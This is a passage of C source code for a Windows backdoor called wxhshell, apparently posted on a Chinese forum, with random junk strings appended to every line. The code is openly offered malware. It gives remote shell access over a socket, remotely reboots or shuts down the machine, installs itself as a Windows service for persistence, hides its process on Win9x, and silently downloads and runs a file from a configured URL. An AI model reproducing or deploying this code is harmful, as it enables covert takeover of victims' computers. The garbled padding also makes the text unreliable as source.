  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EQ"_kJ>81Y  
  } }|-8- ;  
  else { =.J>'9Q  
-q)|I|y*7  
    switch(cmd[0]) { U3aM^  
  \p\p~FVS  
  // 帮助 1 h162  
  case '?': { <Qbqxw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &9Z@P[f  
    break; +yr~UP_ }  
  } D}{]5R  
  // 安装 i5WO)9Us  
  case 'i': { dqU)(T=C  
    if(Install()) Ir` l*:j$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -'oxenu  
    else Ss{5'SF)$c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]9<H[5>$R  
    break; .GYdC '  
    } \'w.<)(GI  
  // 卸载 w4^ $@GtN  
  case 'r': { =%}(Dvjv  
    if(Uninstall()) $+{o*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4*n1Xu 7^x  
    else L`:V]p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >)[W7h  
    break; qbD_  
    } H93ug1,  
  // 显示 wxhshell 所在路径 N1>M<N03  
  case 'p': { ok-q9dM  
    char svExeFile[MAX_PATH]; _M>S=3w  
    strcpy(svExeFile,"\n\r"); cy8r}wD  
      strcat(svExeFile,ExeFile); 2nFr?Y3g,  
        send(wsh,svExeFile,strlen(svExeFile),0); ( Q&jp!WU  
    break; isnpSN"z  
    } C{-Dv-<A>  
  // 重启 h^."wv  
  case 'b': { zEE:C|50  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'L1yFv  
    if(Boot(REBOOT)) djdSD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D+BflI~9mP  
    else { j9%vw.3b  
    closesocket(wsh); H?=[9?1wI5  
    ExitThread(0); L]X Lv9J0  
    } 'w;J) _Yc2  
    break; {j[*:l0Ui  
    } 1 j|XC  
  // 关机 4&L,QSJ V  
  case 'd': { *rm[\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |jWA >S  
    if(Boot(SHUTDOWN)) vXSpn71Jb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UBuG12U4Y  
    else { <qoPBm])  
    closesocket(wsh); c!$~_?]  
    ExitThread(0); 1JGww]JZo  
    } FGo)] U  
    break; >^f]Lgp  
    } wC<FF2T  
  // 获取shell a5]]AkvA  
  case 's': { !$-QWKD4  
    CmdShell(wsh);  poZ&S  
    closesocket(wsh); C0>)WVCK  
    ExitThread(0); 5 tVg++I  
    break; "LZv\c~v,%  
  } Yk7^?W  
  // 退出 =lh&oPc1  
  case 'x': { } f!wQx b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7,{!a56zX  
    CloseIt(wsh); 4 tt=u]:  
    break; AUU(fy#<  
    } b Sg]FBaW  
  // 离开 &3~R-$P  
  case 'q': { TU2MG VYy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n>lQ:l~  
    closesocket(wsh); eYg0 NEq{  
    WSACleanup(); DY87NS*HF  
    exit(1); B an" H~  
    break; NA$ODK -  
        } \7(OFT\u:  
  } tgrZs8?  
  } !6+V  
OH5#.${O  
  // 提示信息 u])MI6LF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I\82_t8  
} 2$ \#BG  
  } (>om.FM  
Nm0|U.<  
  return; cl'qw##  
} zL+M-2hV  
yA<\?Ps  
// shell模块句柄 I]~UOl  
int CmdShell(SOCKET sock) 7YU}-gi  
{ Eo{js?1G_  
STARTUPINFO si; J s,.$t  
ZeroMemory(&si,sizeof(si)); U&gl$/4U@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a3_pF~Qx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G7HvA46  
PROCESS_INFORMATION ProcessInfo; pmDFmES  
char cmdline[]="cmd"; o PA m*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s.!gsCQme  
  return 0; V#-8[G6Ra  
} 4L2TsuLw  
a&`Lfw"  
// 自身启动模式 ]u >~:  
int StartFromService(void) `[4{]jX+<  
{ Z@#k ivcpz  
typedef struct rdm&YM`J  
{ ,HW[l.v  
  DWORD ExitStatus; eOd'i{f@F  
  DWORD PebBaseAddress; X4v0>c  
  DWORD AffinityMask; OWHHN<  
  DWORD BasePriority; UZW)%  
  ULONG UniqueProcessId; OmECvL'Z  
  ULONG InheritedFromUniqueProcessId; n\4sNoFI  
}   PROCESS_BASIC_INFORMATION; xNxSgvco ,  
H[iR8<rhQ  
PROCNTQSIP NtQueryInformationProcess; KQrG|<J  
 !*-|s}e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vj<JjGP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?7aeY5p  
WNV}@  
  HANDLE             hProcess; 0a's[>-'A  
  PROCESS_BASIC_INFORMATION pbi; <3b Ft[  
ca$K)=cDW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A!`Q[%$  
  if(NULL == hInst ) return 0; EYKV}`  
RMxFo\TK;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K!SFS   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +C[%^G-:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O>2i)M-h9x  
<SNu`,/I  
  if (!NtQueryInformationProcess) return 0; (yhnv Z  
;ywUl`d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `CEHl &w  
  if(!hProcess) return 0; $+[ v17lF  
6t`cY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )ocr.wU@  
_2S( *  
  CloseHandle(hProcess); ;XGO@*V5T  
lyyR yFfQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q{+Pf/M5  
if(hProcess==NULL) return 0; !&vPG>V  
(%iCP/E3  
HMODULE hMod; Wr\A ->+  
char procName[255];  i(n BXV{  
unsigned long cbNeeded; &\M<>>IB  
QetyuhS~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _{YUWV50}  
Vqxxm&^P  
  CloseHandle(hProcess); 7,Q>>%/0P  
:^992]EBEj  
if(strstr(procName,"services")) return 1; // 以服务启动 GA"zO,  
 F]KAnEf  
  return 0; // 注册表启动 xU;;@9X  
} IpI|G!Y,  
qv$m5CJvK  
// 主模块 ]F*fQ Ncjy  
int StartWxhshell(LPSTR lpCmdLine) 6{TUs>~  
{ B)u*c]<qU  
  SOCKET wsl; @ZGD'+zd?  
BOOL val=TRUE; /}$D&KwYg  
  int port=0; 7 y'2  
  struct sockaddr_in door; aqN6.t  
c R6:AGr  
  if(wscfg.ws_autoins) Install(); ._US8  
+I r  
port=atoi(lpCmdLine); C7 T}:V](q  
zqa7!ky  
if(port<=0) port=wscfg.ws_port; FWDAG$K@0  
C{U"Nsu+1  
  WSADATA data; jkfc=O6^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RD0=\!w*5  
8(""ui 8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <e@+w6Kp'7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QL`Hb p  
  door.sin_family = AF_INET; q jmlwVw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xv>]e <":  
  door.sin_port = htons(port); XMw*4j2E  
>K-S&Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qv.s-@l8  
closesocket(wsl); j )b[7%  
return 1; gano>W0  
} d\v1R-V  
fu $<*Sa2  
  if(listen(wsl,2) == INVALID_SOCKET) { <#F@OU  
closesocket(wsl); TnQ"c)ta  
return 1; X6SWcJtSw  
} J>p6')Y6~  
  Wxhshell(wsl); nv/'C=+L  
  WSACleanup(); $ucA.9pJ  
M A  
return 0; :SvgXMY@  
z6;6 o!ej  
} ^n&_JQIXb  
B'8/`0^n5  
// 以NT服务方式启动 V(3=j)#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'CA{>\F$F+  
{ mL]a_S{H  
DWORD   status = 0; 6-J%Z%yT #  
  DWORD   specificError = 0xfffffff; 6g&Ev'  
u@pimRVo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )4e?-?bK!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AS'%Md&I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ws*UhJY<GS  
  serviceStatus.dwWin32ExitCode     = 0; q1?}G5a ?  
  serviceStatus.dwServiceSpecificExitCode = 0; :B  9>  
  serviceStatus.dwCheckPoint       = 0; p;n"zr8U  
  serviceStatus.dwWaitHint       = 0; Tqj:C8K{  
D,P{ ,/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JK'FJ}Z4  
  if (hServiceStatusHandle==0) return; N|\Q:<!2_w  
szC<ht?z  
status = GetLastError(); X)b@ia'"Wp  
  if (status!=NO_ERROR) 7B{LRm6;Vu  
{ 2R];Pv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8(ej]9RObU  
    serviceStatus.dwCheckPoint       = 0; lgQ"K(zY  
    serviceStatus.dwWaitHint       = 0; |Q+:vb:  
    serviceStatus.dwWin32ExitCode     = status; '|^x[8^  
    serviceStatus.dwServiceSpecificExitCode = specificError; B nUWg ^E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Fpc8D,  
    return; Bht!+  
  } Cd2A&RB  
-+{<a!Nb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U'k 0;  
  serviceStatus.dwCheckPoint       = 0; (5a:O (\r  
  serviceStatus.dwWaitHint       = 0; dTZ$92<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c8 Je&y8  
} aI;-NnC  
h5<eU;Rw+  
// 处理NT服务事件,比如:启动、停止 Mqv[7.|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h0a|R4J  
{ #ADm^UT^  
switch(fdwControl) vb`R+y@  
{ 75^AO>gt   
case SERVICE_CONTROL_STOP: #+#^cqjZ  
  serviceStatus.dwWin32ExitCode = 0; AF\Jh+ynT!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0TWd.+  
  serviceStatus.dwCheckPoint   = 0; g5:?O,?  
  serviceStatus.dwWaitHint     = 0; gy>B 5ie  
  { 5.d[C/pRw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L@s_)?x0  
  } -}(2}~{e(  
  return; l}SHR|7<  
case SERVICE_CONTROL_PAUSE: o3YW(%cYR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0p]v#z}  
  break; @2g <d  
case SERVICE_CONTROL_CONTINUE: hjD%=Ri0Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gVNoC-n)  
  break; _Wqy,L;J  
case SERVICE_CONTROL_INTERROGATE: ;2P  
  break; KX J7\}  
}; 2F :8=_sA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gCq'#G\Z  
} T>68 ,; p  
Qk72ra)  
// 标准应用程序主函数 +/ rt'0o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C),i#v  
{ Z+=M_{`{  
lg +>.^7k  
// 获取操作系统版本 R*/s#*gmL  
OsIsNt=GetOsVer(); F3[,6%4v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q[{RN ab  
Ad&VOh+0  
  // 从命令行安装 $[UUf}7L   
  if(strpbrk(lpCmdLine,"iI")) Install(); CEW1T_1U<\  
LXqPNVp#  
  // 下载执行文件 EF6h>"']/  
if(wscfg.ws_downexe) { *:"@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mv 7W03  
  WinExec(wscfg.ws_filenam,SW_HIDE); dXfLN<nD>U  
} &~=r .T  
u}b%-:-  
if(!OsIsNt) { gxx#<=`  
// 如果时win9x,隐藏进程并且设置为注册表启动 9dm oB_G  
HideProc(); 1YK(oRSDn  
StartWxhshell(lpCmdLine); -9::M}^2  
} k%BU&%?1  
else .,20_<j%=  
  if(StartFromService()) #q 4uS~  
  // 以服务方式启动 Ec2;?pvd%J  
  StartServiceCtrlDispatcher(DispatchTable); 4*&k~0#t  
else Yt?]0i+  
  // 普通方式启动 V';l H2  
  StartWxhshell(lpCmdLine); d6W\ \6V  
Lw2VdFi>E&  
return 0; |]?zH~L  
}
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级别: 大掌柜
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只看该作者 1 发表于: 2006-10-10
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